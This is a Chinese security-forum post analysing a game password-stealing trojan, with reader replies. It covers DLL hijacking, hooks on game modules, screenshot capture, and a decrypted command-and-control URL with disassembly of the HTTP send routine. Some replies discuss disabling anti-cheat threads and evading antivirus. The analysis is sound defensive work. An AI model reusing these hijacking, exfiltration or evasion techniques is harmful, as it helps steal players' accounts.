首页
社区
课程
招聘
[原创]一款盗号木马的分析
2011-4-26 22:15 33785

[原创]一款盗号木马的分析

2011-4-26 22:15
33785
一、主程序流程分析:
主程序名:ctfmon.exe(仿冒微软输入法配置程序)
壳 :无壳
编写语言:汇编(估计)

1. 用GetLogicalDriveStringsA API获得所有系统盘符存放到一个字符串;

2. 读取自身文件尾部的0x1C4字节数据,并根据最后4字节的DWORD值,调用NEW函
数申请内存(为0x2A00大小);

3. 从自身文件距离尾部(0x1C4+0x2A00)字节处,读取0x2A00字节数据,存储到
上面NEW出来的内存中;

4. 关闭游戏主程序******nest.exe;

5. 根据注册表项:SOFTWARE\\snda\\dn和
Software\Microsoft\Windows\ShellNoRoam\MUICache
找到游戏所在目录生成gamewidget.dll和midimap.dll,dll,内容为第3步中的数据写
2001次,再加上文件尾部的0x1C4字节数据,共20.5 MB (21,515,204 字节)(太大
了-.-)。(因为我没有安装这个游戏,所以也没有这些注册表项目,实际当中我自己
建了一个SOFTWARE\\snda\\dn注册表项,随便给了一个路径)

6. 根据第1点里面得到的所有系统盘符字符串,用SearchTreeForFile API(盘符多,
硬盘大的时候好慢啊),查找Dnlauncher.exe程序,找到了之后在该目录下创建
gamewidget.dll和midimap.dll,因为没装游戏,我又伪造了一个Dnlauncher.exe
(-.-)

7. 本程序实现的自删除,会因机器是否安装有瑞星而有所不同。机器没有安装瑞星时
是把自己移动到程序所在盘符的RECYCLER文件夹中,并重命名成一个GetTickCount
得到的数字+.tmp后缀名的文件。在XP系统上这个文件比桌面上的回收站目录高一级,
所以点击桌面的回收站,里面会看不到这个文件。机器安装了瑞星则不做上述处理。最
后会将此文件设为下次重启电脑时删除。

二、生成的DLL模块流程分析:
1. 上面所说的gamewidget.dll和midimap.dll,dll内容都是一样,虽然文件很大(重
复写了太多次的结果),但内容还是用了UPX加壳了(UPX 0.80 - 1.24 DLL)。ESP
定律简单脱壳,PEID再查一下为Microsoft Visual C++ 6.0 DLL。

2. 该dll首先将系统目录(XP系统为\WINDOWS\system32\)下的midimap.dll文件
复制一份为lqmidimap.dll放到同一目录下,然后创建一个线程,接下来的工作都在此线
程中完成。

3. 进入线程后首先会创建一个互斥体对象防止线程多次运行,接下来比较主模块的模
块名是否是“******Nest.exe”。如果不是则退出,如果是继续以下步骤。

4. 读取自身文件最后0x1C4字节(这里就要注意脱壳后的文件最后的字节和脱壳前已
经不一样了,为了调试方便可以把脱壳前文件的尾部数据添加到脱壳后dll中),进行几
步相套的算法变换,将最后的0x1C4字节解密出来,解密出来的数据如下:

10004C48 68 74 74 70 3A 2F 2F 68 61 68 61 35 2E 68 61 6F http://haha5.hao
10004C58 72 65 6E 36 37 38 2E 63 6F 6D 3A 38 30 31 31 2F ren678.com:8011/
10004C68 66 65 6E 2F 71 6C 6E 62 32 30 2F 61 73 64 66 61 fen/qlnb20/asdfa
10004C78 67 61 73 61 73 64 66 67 7A 78 63 76 2E 61 73 70 gasasdfgzxcv.asp
10004C88 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
10004C98 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
10004CA8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
10004CB8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
10004CC8 68 74 74 70 3A 2F 2F 68 61 68 61 35 2E 68 61 6F http://haha5.hao
10004CD8 72 65 6E 36 37 38 2E 63 6F 6D 3A 38 30 31 31 2F ren678.com:8011/
10004CE8 66 65 6E 2F 71 6C 6E 62 32 30 2F 61 73 64 66 61 fen/qlnb20/asdfa
10004CF8 67 61 73 61 73 64 66 67 7A 78 63 76 2E 61 73 70 gasasdfgzxcv.asp
10004D08 68 74 74 70 3A 2F 2F 68 61 68 61 35 2E 68 61 6F http://haha5.hao
10004D18 72 65 6E 36 37 38 2E 63 6F 6D 3A 38 30 31 31 2F ren678.com:8011/
10004D28 66 65 6E 2F 71 6C 6E 62 32 30 2F 61 73 64 66 61 fen/qlnb20/asdfa
10004D38 67 61 73 61 73 64 66 67 7A 78 63 76 2E 61 00 00 gasasdfgzxcv.a..
10004D48 68 74 74 70 3A 2F 2F 68 61 68 61 35 2E 68 61 6F http://haha5.hao
10004D58 72 65 6E 36 37 38 2E 63 6F 6D 3A 38 30 31 31 2F ren678.com:8011/
10004D68 66 65 6E 2F 71 6C 6E 62 32 30 2F 61 73 64 66 61 fen/qlnb20/asdfa
10004D78 67 61 73 61 73 64 66 67 7A 78 63 76 2E 61 73 70 gasasdfgzxcv.asp
10004D88 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
10004D98 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
10004DA8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
10004DB8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
10004DC8 78 78 73 73 00 00 00 00 00 00 00 00 00 00 00 00 xxss............
10004DD8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
10004DE8 61 62 63 64 00 00 00 00 00 00 00 00 00 00 00 00 abcd............
10004DF8 31 37 34 30 39 34 38 38 00 00 00 00 00 00 00 00 17409488........
10004E08 00 2A 00 00 .*..

然后将http://haha5.haoren678.com:8011/fen/qlnb20/asdfagasasdfgzxcv.asp
最后的asdfagasasdfgzxcv.asp替换为MIBAO.ASP
即为:http://haha5.haoren678.com:8011/fen/qlnb20/MIBAO.ASP
(难道是伪造密保页面吗?-.-)

5. 接下来HOOK了"user32.dll"中的MessageBoxTimeoutW"函数,至于HOOK的目
的,干了哪些事就不知道了。

6. 接下来,查找模块gwCore.dll,HOOK了该dll中一系列位置,IDA中看这一段看的云
里雾里。查找SDOA4ClientCom.dll模块,进行一系列HOOK。

7. 从LZGSERVER.ini文件中拿到SERVER项内容,使用URLDownloadToFileA函数下
载网页http://patch.dn.sdo.com/sndalist/sndalist_new.xml

保存到本机TEMP目录下,文件名为SerList.xml,进行一番查找比较。之后线程结束。

三、后续分析:
    分析到这里貌似也没什么再好分析的了,可能大家没看到木马作恶的过程有点失
望,是的,我也没看到,因为他的关键功能都是在HOOK之后所跳转到的代码里面完成
的,我大部分都是在IDA里面静态分析的,顺着流程走下来就是这样一个过程。

    为了不让大家太失望,也为了让自己不至于觉得太没成就感,我又回头看了一下逆
向分析的过程,结合导入表中的函数来看了下,该木马至少有屏幕截取和网络发送数据
的嫌疑。那么就再稍微跟踪一下这两个方面吧。

1. 网络发包分析:
还记得我们在dll分析的第4步中,得到的那个网址吧
http://haha5.haoren678.com:8011/fen/qlnb20/MIBAO.ASP
用IDA看一下,什么地方还引用了这个字符串,还真的有所收获:


把sub_10002B9E这个CALL跟进去,会发现里面有HTTP协议的数据发送和接收操
作。
UPX0:10002DB7 push eax
UPX0:10002DB8 push offset aPostSHttp1_1Ac ; "POST %s HTTP/1.1\r\nAccept: text/plain, *"...
UPX0:10002DBD push ebx ; Dest
UPX0:10002DBE call sprintf
UPX0:10002DC4 add esp, 54h
UPX0:10002DC7 lea eax, [ebp+Dest]
……………………………………中间多余代码已删减………………………………………………
UPX0:10002E2C push offset aQlmmsg ; "qlmmsg"
UPX0:10002E31 push eax
UPX0:10002E32 push offset aGetSHt ; "GET %s HT"
UPX0:10002E37 push ebx ; Dest
UPX0:10002E38 call sprintf
UPX0:10002E3E push ebx ; Str
UPX0:10002E3F call strlen
UPX0:10002E44 add esp, 18h
UPX0:10002E47 mov esi, eax
UPX0:10002E49
UPX0:10002E49 loc_10002E49: ; CODE XREF: sub_10002B9E+278j
UPX0:10002E49 xor edi, edi
UPX0:10002E4B push edi ; flags
UPX0:10002E4C push esi ; len
UPX0:10002E4D push ebx ; buf
UPX0:10002E4E push [ebp+s] ; s
UPX0:10002E51 call send ; 发送数据
……………………………………中间多余代码已删减………………………………………………
UPX0:10002E86 push edi ; flags
UPX0:10002E87 push esi ; len
UPX0:10002E88 push eax ; buf
UPX0:10002E89 push [ebp+s] ; s
UPX0:10002E8C call recv ; 接收数据
UPX0:10002E92 cmp eax, 0FFFFFFFFh
UPX0:10002E95 jz short loc_10002EDB
UPX0:10002E97 mov esi, offset aHttp1_1400 ; "HTTP/1.1 400"

2. 截图过程分析:
     在我们第二阶段分析dll的时候其中第6步提到了该dll HOOK了gwCore.dll。使
gwCore.dll中的流程转到了自己的dll中来了,其中最后的一个HOOK(在IDB文件里面
我命名为hook_9)里面又对另外一个dll:SDOA4ClientCom.dll进行了HOOK(命名
为hook_8),在hook_8的代码里面有如下一些行为:

2.1 首先创建一个线程,该线程的作用是枚举屏幕窗口。


2.2 对每个枚举到的屏幕窗口用GetClassName API获得其类名,比较是否匹
配"IEFrame"、"ShImgVw:CPreviewWnd"、"Afx:400000:8"这三种,如果均不匹配
则不做任何处理。

2.3 如果匹配以上三种类名之一,则进行截屏并利用GDI+方法保存为BMP,JPG图形。

2.4 如果有截屏,则会将截屏图形通过上面的网络发包方式发送出去。

四、关于如何防范这类盗号木马或类似外挂的思考
     该盗号木马在功能实现上大量使用HOOK技术,防范这种攻击,作为游戏开发方应
该加强保护,例如对主程序和dll模块的保护,在一些关键位置进行必要的代码校验,如
关键代码md5验证,dll的CRC验证,dll的签名认证等。作为游戏玩家为了防止盗号类木
马入侵本机,造成盗号,应该注意少上来源不明的网站,不下载不可信的程序,及时给
系统或常用软件打补丁,避免恶意程序利用漏洞传播进入个人电脑。当然,攻与防的较
量是无止境的,“道高一尺,魔高一丈”,没有无坚不摧的防御,安全之路,任重而道
远。

五、IDA分析附件
1.ctfmon.exe:19.9 KB (20,420 字节)——主程序
2.1.dll:42.5 KB (43,520 字节)——生成的dll经过脱壳后的版本
3.复件 1.dll:53.4 KB (54,724 字节)——生成的dll经过脱壳后,并在尾部附加需要
解密的网址数据。

[CTF入门培训]顶尖高校博士及硕士团队亲授《30小时教你玩转CTF》,视频+靶场+题目!助力进入CTF世界

上传的附件:
收藏
点赞5
打赏
分享
最新回复 (42)
雪    币: 2
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
willgeng 2011-4-26 22:22
2
0
学习一下~  顶顶
雪    币: 185
活跃值: (400)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
fireworld 2011-4-26 22:54
3
0
学习下 盗号的原理能讲讲不?
雪    币: 3800
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
paulbaby 2011-4-27 00:39
4
0
不错,不错,看得多,技术都进步,很多没看见过的技术
雪    币: 220
活跃值: (15)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
广海混沌 2011-4-27 01:33
5
0
呵呵 留念一下 不错
雪    币: 240
活跃值: (418)
能力值: ( LV11,RANK:188 )
在线值:
发帖
回帖
粉丝
XPoy 3 2011-4-27 07:17
6
0
爆汗,这个应该是1年前了的样本吧?我还分析过的,想下把分析的结果回复下:

木马生成gamewidget.dll和midimap.dll,其中gamewidget.dll是被游戏主程序默认载入的一个DLL。midimap.dll是一个DLL劫持,比较有意思的是它利用的是IAT里的API名写成特殊的UpdatePerfNameFilesW=loadperf.UpdatePerfNameFilesW来实现DLL wapper的,非常简单有效。

木马访问的主要有二个页面
mail.asp 是发账号密码的url
mibao.asp 类似于心跳包的url

木马会HOOK gwCore.dll中的几个地址,分别截取用户和密码,角色的一些信息等。在截取角色信息的地方会访问包含mail.asp的URL,发送截取的账号过去。
还会持续不断的访问mibao.asp,测试发现返回0时不处理,返回1时木马会狠毒的把游戏给关掉。这样实现简单的控制
木马还会HOOK SDOA4ClientCom.dll中的几个地址,用来截取游戏的服务区的信息,木马通过读取游戏访问的服务器IP,并和http://patch.dn.sdo.com/sndalist/sndalist_new.xml 中的服务器名与IP对应关系获得服务器名。

忘了是不是这个样本的,木马会HOOK CreateThread,然后在CreateaThread里判断要创建的进程在哪个DLL空间里,它会把GPK的DLL所创建的第一个线程禁止掉直接返回-1。测试的结果是这个GPK的线程是检查游戏的模块是否被恶意修改,是则在游戏里会强制断开连接,这个是很有意思的功能。

不过有另一个很不错的样本,是通过硬件断点实现截取的,忘了它HOOK的哪儿,是线程创建时期的回调函数,在里面修改DRx实现硬件断点的,并且用xp新加入的VEH异常管理机制扑捉实现的HOOK,这样避过检测真的很有意思。

LZ分析最新的样本,应该把它怎么免杀的方法介绍一下啊,一般这个才重要的。 /:^]
雪    币: 29
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
wgzthink 2011-4-27 10:52
7
0
发送部分不重要,重要的是如何HOOK盗号部分
雪    币: 87
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
asmvirus 2011-4-27 10:59
8
0
学到不少东西
雪    币: 540
活跃值: (338)
能力值: ( LV5,RANK:70 )
在线值:
发帖
回帖
粉丝
wumingpeng 1 2011-4-27 14:01
9
0
难怪你最近一直在找盗号木马拉,原来是要混精华啊.
雪    币: 777
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
lnheart 2011-4-27 14:57
10
0
盛大的游戏吗?
雪    币: 421
活跃值: (100)
能力值: ( LV8,RANK:130 )
在线值:
发帖
回帖
粉丝
超然 3 2011-4-27 14:58
11
0
原理如6楼所说,关键在于HOOK了游戏的DLL以达到盗号的目的,最近研究了一些盗号木马主要是出于研究盗号的各种方式的目的,并不是为了分析某一个游戏具体的盗号方法,并没有安装游戏,所以无法深究。请见谅。
雪    币: 421
活跃值: (100)
能力值: ( LV8,RANK:130 )
在线值:
发帖
回帖
粉丝
超然 3 2011-4-27 15:00
12
0
原因和结果弄反啦。
雪    币: 120
活跃值: (160)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
雪yaojun 2011-4-27 16:00
13
0
木马作者完全是玩阴的。技术应该不咋样。
雪    币: 163
活跃值: (75)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
majinxin 2011-4-27 18:23
14
0
6楼是亮点。。。
雪    币: 1143
活跃值: (778)
能力值: ( LV13,RANK:260 )
在线值:
发帖
回帖
粉丝
ycmint 5 2011-4-27 18:25
15
0
如何  做的免杀的?
雪    币: 202
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
北欧odin 2011-4-28 05:17
16
0
这游戏我研究过  去年的事情了 ,,,总体来说比较好截取额 ,,, 还是以学习的目的
雪    币: 1
活跃值: (929)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
网络游侠 2011-4-28 06:52
17
0
其实原理没什么的,一种是Inline hook 关键代码段,另一种是挂钩该挂钩的地方,一键到位,另一种是逆出该逆的地方,然后Hook该Hook的地方的。就行了,至于怎么躲避AV,发挥所长,必有所成!

3个月前逆了一个小马,发现有自动踢人,自动交易,自动装备转存等功能,好强大哦!
雪    币: 223
活跃值: (15)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
ahyanglf 2011-4-28 08:16
18
0
支持下分享新技术。
雪    币: 200
活跃值: (16)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
残影 2011-4-28 11:45
19
0
啥东东。。。。
雪    币: 33
活跃值: (11)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
PEBOSS 2011-4-28 14:35
20
0
还有这等木马?
雪    币: 207
活跃值: (148)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
xdklzy 1 2011-4-28 21:00
21
0
这个马,我看着这么眼熟。特别是这几个地址。。。似乎。。。
hook盗号。根据某人的经验,应该是DLL劫持后,读取游戏进程空间。比如用户名,先在进程空间中,查找特征码,然后在此处hook,后面的事,,你懂的。。
至于免杀,我觉得主动防御不可能将所有的API都HOOK吧???可以利用一些比较偏的函数,这些函数在操作过程中,更像是你在手动操作,比如SHXXX系列的函数。。。

以上纯属个人遇见,别拍砖
雪    币: 226
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
cqmib 2011-4-28 23:18
22
0
学习一下,谢谢分享
雪    币: 46
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
kechac 2011-4-29 01:17
23
0
可惜呀,技术不够看不懂呀!   我要给力!
雪    币: 2368
活跃值: (81)
能力值: (RANK:300 )
在线值:
发帖
回帖
粉丝
北极狐狸 7 2011-4-29 18:36
24
0
哇噻,很彪悍啊。膜拜一下
雪    币: 392
活跃值: (17)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
starmove 2011-4-29 19:38
25
0
哈哈,看完了,思考思考。。
游客
登录 | 注册 方可回帖
返回